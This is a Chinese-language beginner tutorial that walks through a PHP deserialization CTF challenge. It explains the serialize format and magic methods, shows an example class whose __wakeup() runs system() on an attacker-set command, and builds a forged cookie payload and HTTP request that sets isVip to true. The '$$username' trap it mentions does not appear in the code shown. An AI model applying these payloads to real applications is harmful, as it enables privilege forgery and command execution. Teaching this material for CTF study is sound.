php反序列化一(大白话版)

从零看懂PHP反序列化漏洞:手把手拆解一道CTF签到题

第1部分|热身:这道题到底在考什么?

我们直接看题。CTF(网络安全夺旗赛)里的"签到题",就是给新手送分的那种。源码长这样:

复制代码
<?php
class ctfShowUser {
public $username;
public $password;
public $isVip = false;
// ... 后面还有一堆方法
}
$user = unserialize($_COOKIE['user']);
// ... 判断逻辑

一堆代码,一个flag,看着头大。但别被吓住------这道题的本质,一句话就能说透

程序把"你是谁"这个身份信息,打包存在了你的Cookie里。我们要做的,就是伪造一个"尊贵的VIP身份",骗过程序,让它乖乖交出flag。

就像你去网吧,前台把会员信息记在一张小卡片上塞给你。我们不动前台,只改自己手里那张卡片------把"普通用户"改成"超级VIP"。

接下来全文走两条线:基础概念线 (序列化是什么、为什么危险)+ 实战拆解线(逐行读懂代码、亲手构造攻击)。两条线在最后汇合,你就彻底看懂了。

第2部分|前置知识①:序列化就是把对象"装进快递盒"

先搞懂一个词:序列化

想象你有一箱杂物(一个PHP对象),里面有名字、密码、会员状态这些"东西"。你想把这箱杂物寄出去(存进Cookie、存进数据库),快递公司不认散装杂物,只认贴好标签的包裹 。于是你把它打包、贴上标签------这个过程就叫序列化(serialize)。

等包裹到了收件人手里,拆开箱子、把东西一件件摆回原位------这个过程就叫反序列化(unserialize)。

PHP里,一个对象序列化后长这样:

复制代码
O:4:"Hero":2:{s:4:"name";s:9:"程咬金";s:3:"sex";s:3:"男";}

逐段拆开看,其实就四层意思:

|--------------|-----------------------------------|
| 片段 | 含义 |
| O:4:"Hero" | 这是一个对象(Object),类名叫Hero,名字长度是4 |
| :2: | 这个对象有 2个属性 |
| s:4:"name" | 第一个属性:字符串(s),名字叫name,长度4 |
| s:9:"程咬金" | 第一个属性的:字符串"程咬金",长度9 |

看懂这一个,其他类型全是同一个套路。记住这个规律就行:

|-----------|--------------|----------------|
| PHP类型 | 序列化写法 | 例子 |
| 整数 | i:数字; | i:42; |
| 字符串 | s:长度:"内容"; | s:5:"hello"; |
| 布尔值 | b:0或1; | b:1;(true) |
| 空值 | N; | N; |
| 数组 | a:个数:{...} | a:3:{...} |

关键点 :序列化只打包"属性"(箱子里的东西),不打包方法(怎么用这些东西的说明书)。说明书留在类里,箱子只装数据。

现在你知道了"打包"长什么样。为什么拆个箱子,还能拆出漏洞来?

第3部分|前置知识②:反序列化为什么危险?

拆个箱子而已,怎么会拆出漏洞?因为PHP的反序列化有两个"反直觉"的特性。

特性①:拆箱后的值,由"标签"说了算,跟类里预设的值无关。

还记得吗?类里可以给属性设默认值,比如 public $isVip = false;。但反序列化时,PHP完全不看类里的默认值,它只照着序列化字符串里的标签来还原。

打个比方:类里写着"这个箱子默认装的是石头",但快递单上清清楚楚贴着"里面是钻石"。PHP拆箱时只看快递单------你说里面是钻石,它就真给你还原出一颗钻石。攻击者能完全伪造任何属性的值,这就是漏洞的根源。

特性②:反序列化只恢复属性,不会自动调用普通方法。

拆完箱子,PHP只是把东西摆好,不会主动去"用"它们。普通方法(比如 login())得有人手动调用才会执行。

既然方法不会自动执行,攻击者怎么让代码跑起来?

答案藏在魔术方法里。魔术方法是一类"自动触发的机关",名字都以双下划线开头,PHP会在特定时机自动调用它们:

|-----------------|-----------|
| 魔术方法 | 触发时机 |
| __construct() | 对象创建时 |
| __destruct() | 对象销毁时 |
| __wakeup() | 反序列化时 |
| __toString() | 对象被当字符串用时 |

看个恶意示例,你就明白危害了:

复制代码
class Hacker {
public $cmd;
public function __wakeup() {
system($this->cmd); // 反序列化时自动执行!
}
}
// 攻击者构造的恶意字符串
$payload = 'O:6:"Hacker":1:{s:3:"cmd";s:6:"whoami";}';
unserialize($payload); // 自动触发 __wakeup(),执行 whoami 命令

攻击者伪造了 cmd 属性的值,PHP一拆箱就自动触发 __wakeup(),命令直接执行。伪造属性 → 自动触发 → 代码执行,一条完整的攻击链就这么诞生了。

现在基础打完了,回到那道签到题,看看代码到底在干什么。

第4部分|回到题目:逐行读懂关键代码

现在把完整源码摆出来,我们逐行看:

复制代码
<?php
class ctfShowUser {
public $username;   // 用户名
public $password;   // 密码
public $isVip = false;  // 是不是VIP

function login() {
// 查数据库,比对账号密码
}
function checkVip() {
// 检查 isVip 是不是 true
}
function vipOneKeyGetFlag() {
// 只有VIP能调用,返回flag
}
}

$user = unserialize($_COOKIE['user']);  // 反序列化入口
$user->login();        // ① 登录
$user->checkVip();     // ② 查VIP
$user->vipOneKeyGetFlag();  // ③ 取flag

三个属性,就是三张"身份信息卡"username(你是谁)、password(你的密码)、isVip(你是不是尊贵的会员)。

三个方法,就是三道门

  • login():前台验票,查账号密码对不对
  • checkVip():查你是不是VIP会员
  • vipOneKeyGetFlag():VIP专属通道,flag就藏在这里

主流程调用链,一眼看穿:

复制代码
反序列化(Cookie里的user) → login() → checkVip() → vipOneKeyGetFlag() → flag

注意反序列化入口在Cookie$_COOKIE['user'] 里的字符串被 unserialize() 还原成对象。也就是说,Cookie里存的就是那个"快递盒"------我们完全可控!

再盯紧两个关键判断条件,这是拿flag的命门:

  1. isVip 必须为 true(不然 vipOneKeyGetFlag() 不给你flag)
  2. username 不能等于 password(防止你随便糊弄过去)

目标清晰了:伪造一个 isVip=true ctfShowUser 对象,塞进Cookie。怎么构造?下一部分手把手教你。

第5部分|实战:手把手构造"VIP伪造利用链"

攻击目标拆成三个可控条件,逐个满足:

  1. isVip 要等于 true → 序列化字符串里写 b:1;
  2. username password → 随便填两个不同的值
  3. 类名必须是 ctfShowUser → 这样反序列化后才能调用类里的方法

写个本地PHP脚本,让PHP帮我们生成payload,省得手数长度:

复制代码
<?php
class ctfShowUser {
public $username = "admin";
public $password = "guest";   // 和username不同
public $isVip = true;         // 关键!伪造VIP
}
$payload = serialize(new ctfShowUser());
echo urlencode($payload);  // URL编码,方便塞进Cookie

跑一下,得到类似这样的字符串:

复制代码
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A5%3A%22guest%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

逐字段拆开看,其实就三组"属性名+属性值":

复制代码
O:11:"ctfShowUser":3:{          ← 对象,类名ctfShowUser,3个属性
s:8:"username";s:5:"admin";   ← username = "admin"
s:8:"password";s:5:"guest";   ← password = "guest"
s:5:"isVip";b:1;              ← isVip = true(关键!)
}

现在把这个payload塞进Cookie,发一个完整请求:

复制代码
GET /index.php HTTP/1.1
Host: 靶机地址
Cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7B...%7D

程序收到请求后,走一遍完整流程:

复制代码
① unserialize(Cookie) → 还原出 isVip=true 的 ctfShowUser 对象
↓
② login() → 查账号密码(admin/guest,能过)
↓
③ checkVip() → 一看 isVip=true,放行!
↓
④ vipOneKeyGetFlag() → 你是VIP,flag给你!

flag到手。 全程没碰数据库、没猜密码,只是改了一张"快递单"上的标签------把 isVipfalse 改成了 true。这就是反序列化漏洞最经典的利用方式。

第6部分|避坑指南与复盘总结

先点破一个隐藏陷阱:变量覆盖。

细心的你可能注意到,题目里有个 $$username 的写法。$$username 的意思是"以 $username 的值为变量名的变量"------如果你把 username 传成 flag,那 $$username 就变成了 $flag直接覆盖掉存flag的那个变量!这是出题人埋的坑,也是这道题真正的"隐藏考点"。很多新手伪造完VIP发现拿不到flag,就是栽在这里。

复盘一下,这篇笔记的核心知识点就四条:

  1. 序列化格式O:类名长度:"类名":属性数:{属性内容},本质是给对象"打包贴标签"
  2. 属性伪造:反序列化的值由字符串决定,与类预设无关 → 攻击者可完全控制属性
  3. 魔术方法__wakeup() 等会在特定时机自动触发,是"伪造属性→自动执行"的桥梁
  4. 利用链思路:找反序列化入口(Cookie/参数)→ 伪造关键属性 → 顺着调用链走到flag

留个进阶思考 :如果这道题的flag不是放在 vipOneKeyGetFlag() 里,而是藏在某个魔术方法(比如 __destruct())里,题目会怎么变?------那时候你伪造的就不再是"VIP身份",而是一个"拆箱瞬间就爆炸"的快递盒。想明白这一点,你就从"看懂签到题"迈向了"理解POP链"。

从"一箱杂物"到"尊贵VIP",你只差一张改过的快递单。下次再见到 unserialize(),记得先问一句:这个箱子,是谁递进来的?

相关推荐
菜鸟~noob2331 小时前
【电子战】第03篇:CFAR(恒虚警)处理【含matlab代码】
开发语言·matlab
SendTomo2 小时前
【技术交流】从0到1构建一个汉字学习平台:汉字吧(hanzi8.com)的技术架构猜想
redis·mysql·nginx·php·个人开发
泡海椒2 小时前
内置SPI函数库详解:JQuick-Java Builtin工具类实战用法
java·开发语言·python
hqyjzsb2 小时前
零 AI 项目经验,学 Python 转型 AI 的正确顺序是什么?
开发语言·人工智能·python·算法·职场和发展·数据挖掘·数据分析
小羊没烦恼!2 小时前
Hello Web API系列教程——Web API与国际化
java·服务器·前端·javascript·php
Keven_113 小时前
算法札记:ACM适用的很骚的C++语法(持续更新)
开发语言·c++
脉动数据行情13 小时前
C# 实现德指 DAX 期货 WebSocket 实时行情监听
开发语言·websocket·c#
蒲公英eric4 小时前
从直接重定向到白名单验证:DVWA 开放重定向模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·开放重定向模块
大圣编蚕4 小时前
Java ByteArrayInputStream 详解:从入门到实战
java·开发语言·算法